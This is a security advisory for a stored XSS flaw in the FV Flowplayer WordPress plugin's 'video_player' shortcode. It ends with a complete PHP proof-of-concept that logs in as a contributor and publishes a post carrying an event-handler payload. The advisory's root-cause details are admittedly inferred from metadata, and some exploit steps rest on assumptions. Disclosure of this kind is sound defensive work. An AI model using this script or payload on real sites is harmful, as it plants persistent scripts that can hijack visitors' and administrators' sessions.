Atomic Edge analysis of CVE-2026-12135 (metadata-based): This is a Stored Cross-Site Scripting (XSS) vulnerability in the FV Flowplayer Video Player plugin for WordPress, affecting versions up to 7.5.51.7212. The flaw exists in the ‘video_player’ shortcode’s ‘align’ attribute, allowing authenticated users with contributor-level access or higher to inject arbitrary web scripts. The CVSS score of 6.4 (medium-high) reflects the authenticated requirement but wide-ranging impact due to the stored nature and privilege escalation to viewing users.
Root Cause: The vulnerability stems from insufficient input sanitization and output escaping on the ‘align’ attribute within the ‘video_player’ shortcode. Based on the CWE-79 classification and description, Atomic Edge research infers that the plugin’s shortcode handler passes user-supplied values for ‘align’ directly into HTML attributes without proper validation or escaping. Specifically, the plugin likely constructs the ‘align’ attribute value into a class or style attribute within the generated HTML output. The code probably calls the shortcode’s handling function (e.g., through WordPress’s add_shortcode) but misses crucial escaping functions like esc_attr() or wp_kses(). This inference is based on the vulnerability pattern where shortcode attributes are common XSS vectors.
Exploitation: An attacker with contributor-level privileges creates or edits a post using the ‘video_player’ shortcode. The exploit targets the ‘align’ parameter. A payload like ‘align=”onmouseover=”alert(1)” style=”position:absolute;left:0;top:0;width:100%;height:100%”‘ would inject an event handler. Attackers submit the post through WordPress’s admin post editor. The malicious script executes when any user views the compromised page, including administrators. The attack vector is authenticated via the WordPress admin AJAX endpoint wp-admin/admin-ajax.php or directly through post creation/editing forms.
Remediation: The fix requires implementing proper output escaping for the ‘align’ attribute in the shortcode’s HTML output. The plugin should use WordPress’s esc_attr() function when outputting the value into an HTML attribute context. Additionally, the input should be sanitized with sanitize_html_class() or similar if ‘align’ expects a CSS class. Plugin version 7.5.52.7212 likely applies these changes. For existing installations, administrators should update immediately and review any posts using the vulnerable shortcode for suspicious content.
Impact: Successful exploitation allows attackers to inject persistent JavaScript payloads. This can lead to session hijacking, defacement, redirection to malicious sites, or data theft. Although the CVSS score limits confidentiality and integrity impacts to ‘low’, the stored XSS can affect all site visitors, including administrators. This could enable privilege escalation if an administrator’s session is hijacked. Atomic Edge analysis notes that contributor accounts are common targets for attackers as they require less privileged access than administrators but can still propagate malicious content widely.
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12135 - FV Flowplayer Video Player <= 7.5.51.7212 - Authenticated (Contributor+) Stored XSS
// Configuration - replace these with actual credentials and site URL
$target_url = 'http://example.com'; // WordPress site URL (no trailing slash)
$username = 'contributor_user'; // Username with Contributor role or higher
$password = 'user_password'; // User password
// Exploit payload: injects onmouseover event into 'align' attribute
$xss_payload = '" onmouseover="alert(1)" style="position:absolute;left:0;top:0;width:100%;height:100%"';
// Step 1: Authenticate to WordPress and get cookies
$login_url = $target_url . '/wp-login.php';
$post_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt', // Store cookies
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
));
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200) {
die("Authentication failed. Check credentials or site accessibility.n");
}
// Step 2: Get a nonce for post creation (needed for AJAX or direct post)
$admin_url = $target_url . '/wp-admin/post-new.php';
curl_setopt_array($ch, array(
CURLOPT_URL => $admin_url,
CURLOPT_POST => false,
CURLOPT_COOKIEFILE => '/tmp/cookies.txt'
));
$admin_page = curl_exec($ch);
// Extract nonce from the page (this is typically found in wp_ajax_nonce or similar)
preg_match('/"_wpnonce":"([a-f0-9]+)"/', $admin_page, $matches);
$nonce = isset($matches[1]) ? $matches[1] : ''; // Fallback if not found
// Step 3: Create a new post with malicious shortcode
$post_url = $target_url . '/wp-admin/admin-ajax.php?action=wp_ajax_inline_save'; // Alternative approach
// Direct post creation via REST API is more reliable
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_body = array(
'title' => 'CVE-2026-12135 Test Post',
'content' => '[video_player align="' . $xss_payload . '" src="http://example.com/sample.mp4"]',
'status' => 'publish', // Change to 'draft' if you prefer
'categories' => array(1) // Default category
);
$json_body = json_encode($post_body);
curl_setopt_array($ch, array(
CURLOPT_URL => $rest_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $json_body,
CURLOPT_HTTPHEADER => array(
'Content-Type: application/json',
'Content-Length: ' . strlen($json_body),
'X-WP-Nonce: ' . $nonce // Nonce for REST API
),
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_RETURNTRANSFER => true
));
$post_response = curl_exec($ch);
$response_data = json_decode($post_response, true);
if (isset($response_data['id'])) {
echo "Post created successfully. Post ID: " . $response_data['id'] . "n";
echo "Visit: " . $response_data['link'] . "n";
echo "XSS payload should execute when page loads.n";
} else {
echo "Failed to create post. Response:n";
print_r($response_data);
}
curl_close($ch);
?>
